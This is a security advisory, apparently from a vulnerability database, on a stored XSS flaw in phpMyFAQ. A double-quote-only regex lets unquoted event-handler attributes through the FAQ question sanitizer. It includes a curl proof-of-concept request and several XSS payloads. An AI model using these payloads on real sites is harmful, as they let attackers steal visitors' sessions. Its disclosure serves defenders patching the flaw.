phpMyFAQ: Stored XSS via Regex Bypass in Filter::removeAttributes()
Impact
The sanitization pipeline for FAQ content is: 1. Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS) — encodes , ", ', & to HTML entities 2. html_entity_decode($input, ENT_QUOTES | ENT_HTML5) — decodes entities back to characters 3. Filter::removeAttributes($input) — removes dangerous HTML attributes
Source excerpt · OSVpreg_match_all('/[a-z]+=".+"/iU', ...) runs:
- The regex requires
="..."(double quotes) onerror=alert(1)has NO quotes → NOT matchedsrc=xhas NO quotes → NOT matched- No attributes are found for removal
- Step 1: Create FAQ with XSS payload (requires authenticated admin):
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=admin_session' \
-d '{
"data": {
"pmf-csrf-token": "valid_csrf_token",
"question": "<img src=x onerror=alert(document.cookie)>",
"answer": "Test answer",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "test",
"author": "test",
"email": "test@test.com"
}
}'
``` **Note:** While planting the payload requires admin access, the XSS executes for all visitors (public-facing).
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
| Affected range | Recorded fix |
|---|---|
| Earlier releases before 4.1.1Ecosystem versions | 4.1.1 |
Version evidence: OSV · GHSA-cv2g-8cj8-vgc7
View original version evidence (169 explicit versions)
Original source description
Summary
The sanitization pipeline for FAQ content is:
Filter::filterVar($input, FILTER_SANITIZE_SPECIAL_CHARS)— encodes<,>,",',&to HTML entitieshtml_entity_decode($input, ENT_QUOTES | ENT_HTML5)— decodes entities back to charactersFilter::removeAttributes($input)— removes dangerous HTML attributes
The removeAttributes() regex at line 174 only matches attributes with double-quoted values:
preg_match_all(pattern: '/[a-z]+=".+"/iU', subject: $html, matches: $attributes);
This regex does NOT match:
- Attributes with single quotes:
onerror='alert(1)' - Attributes without quotes:
onerror=alert(1)
An attacker can bypass sanitization by submitting FAQ content with unquoted or single-quoted event handler attributes.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Filter.php, line 174
Sanitization flow for FAQ question field:
FaqController::create() lines 110, 145-149:
$question = Filter::filterVar($data->question, FILTER_SANITIZE_SPECIAL_CHARS);
// ...
->setQuestion(Filter::removeAttributes(html_entity_decode(
(string) $question,
ENT_QUOTES | ENT_HTML5,
encoding: 'UTF-8',
)))
Template rendering: faq.twig line 36:
<h2 class="mb-4 border-bottom">{{ question | raw }}</h2>
How the bypass works:
- Attacker submits:
<img src=x onerror=alert(1)> - After
FILTER_SANITIZE_SPECIAL_CHARS:<img src=x onerror=alert(1)> - After
html_entity_decode():<img src=x onerror=alert(1)> preg_match_all('/[a-z]+=".+"/iU', ...)runs:- The regex requires
="..."(double quotes) onerror=alert(1)has NO quotes → NOT matchedsrc=xhas NO quotes → NOT matched- No attributes are found for removal
- The regex requires
- Output:
<img src=x onerror=alert(1)>(XSS payload intact) - Template renders with
|raw: JavaScript executes in browser
Why double-quoted attributes are (partially) protected:
For <img src="x" onerror="alert(1)">:
- The regex matches both
src="x"andonerror="alert(1)" srcis in$keep→ preservedonerroris NOT in$keep→ removed viastr_replace()- Output:
<img src="x">(safe)
But this protection breaks with single quotes or no quotes.
PoC
Step 1: Create FAQ with XSS payload (requires authenticated admin):
curl -X POST 'https://target.example.com/admin/api/faq/create' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=admin_session' \
-d '{
"data": {
"pmf-csrf-token": "valid_csrf_token",
"question": "<img src=x onerror=alert(document.cookie)>",
"answer": "Test answer",
"lang": "en",
"categories[]": 1,
"active": "yes",
"tags": "test",
"keywords": "test",
"author": "test",
"email": "test@test.com"
}
}'
Step 2: XSS triggers on public FAQ page
Any user (including unauthenticated visitors) viewing the FAQ page triggers the XSS:
https://target.example.com/content/{categoryId}/{faqId}/{lang}/{slug}.html
The FAQ title is rendered with |raw in faq.twig line 36 without HtmlSanitizer processing (the processQuestion() method in FaqDisplayService only applies search highlighting, not cleanUpContent()).
Alternative payloads:
<img/src=x onerror=alert(1)>
<svg onload=alert(1)>
<details open ontoggle=alert(1)>
Impact
- Public XSS: The XSS executes for ALL users viewing the FAQ page, not just admins.
- Session hijacking: Steal session cookies of all users viewing the FAQ.
- Phishing: Display fake login forms to steal credentials.
- Worm propagation: Self-replicating XSS that creates new FAQs with the same payload.
- Malware distribution: Redirect users to malicious sites.
Note: While planting the payload requires admin access, the XSS executes for all visitors (public-facing). This is not self-XSS.